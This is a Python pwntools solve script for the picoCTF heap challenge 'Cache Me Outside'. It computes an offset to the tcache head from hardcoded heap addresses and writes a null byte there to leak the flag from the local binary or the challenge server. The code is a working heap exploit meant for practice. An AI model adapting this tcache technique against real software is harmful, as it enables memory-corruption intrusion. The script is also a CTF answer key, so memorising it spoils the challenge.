solve.py

#!/usr/bin/env python3
"""
WhatTheFuzz's submission for the picoCTF challenge Cache Me Outside.

This script can be used in the following manner:
python3 ./solve.py <REMOTE/LOCAL>

Args:
    param1: LOCAL will operate locally on the user's machine.
            REMOTE will connect to the CTF webserver and grab the flag.
            If no parameter is specified, the program will default to LOCAL.

Returns:
    The flag to solve the challenge.
"""

import re
import pwn

pwn.exe = pwn.ELF('./heapedit')
libc = pwn.ELF('./libc.so.6')
ld = pwn.ELF('./ld-2.27.so')

pwn.context.binary = pwn.exe
pwn.context.log_level = 'info'
pwn.context.terminal = ['gnome-terminal', '-e']

# Use the included `heapedit.gdb` script to find the offset. Otherwise, set
# breakpoints on `free` and note the addresses passed the function. On the
# second hit of the breakpoint, the address will point to our random string
# (0x603890). This pointer is located in the tcache. We can search for the
# address of this pointer in the heap with the command:
# `find 0x600000, 0x700000, 0x603890` This will return the head of the tcache,
# which is 0x602088.
HEAD_OF_TCACHE = 0x602088

# Note part 5 of the diagram included in the README. The program asks the user
# for an address. This is a misnomer, however, as this is actually an offset
# from the first buffer that was allocated in the program which occurs in part
# 2 of the diagram of the decompiled program included in the README. To
# determine this address you can just break on `malloc` and note the address
# returned when the function finishes on the first hit of the breakpoint.
BUFFER_ADDED_TO = 0x6034a0
NULL_BYTE = b'\x00'


def conn():
    '''Establish the connection to the process, local or remote.
    Return the connection.
    '''
    if pwn.args.get('REMOTE'):
        connection = pwn.remote('mercury.picoctf.net', 34499)
    else:
        connection = pwn.process(
            './heapedit',
            env={'LD_PRELOAD': f'{ld.file.name}:{libc.file.name}'})
    return connection


def main():
    '''Return the flag.'''
    connection = conn()

    # Calculate the offset
    offset = HEAD_OF_TCACHE - BUFFER_ADDED_TO

    # Receive data until we see the following, then send our data.
    connection.sendlineafter(b'Address: ', str(offset).encode())
    pwn.log.debug(f'The offset to the tcache is {offset}.')
    connection.sendlineafter(b'Value: ', NULL_BYTE)

    # Get the flag.
    line = connection.recvlineS()

    try:
        flag = re.search('picoCTF{.*}', line).group(0)
    except AttributeError:
        pwn.log.error(
            'Could not locate the flag. Are you sure you have flag.txt in this '
            'directory?')
        return

    pwn.log.success(f'The flag is: {flag}.')
    return flag


if __name__ == '__main__':
    main()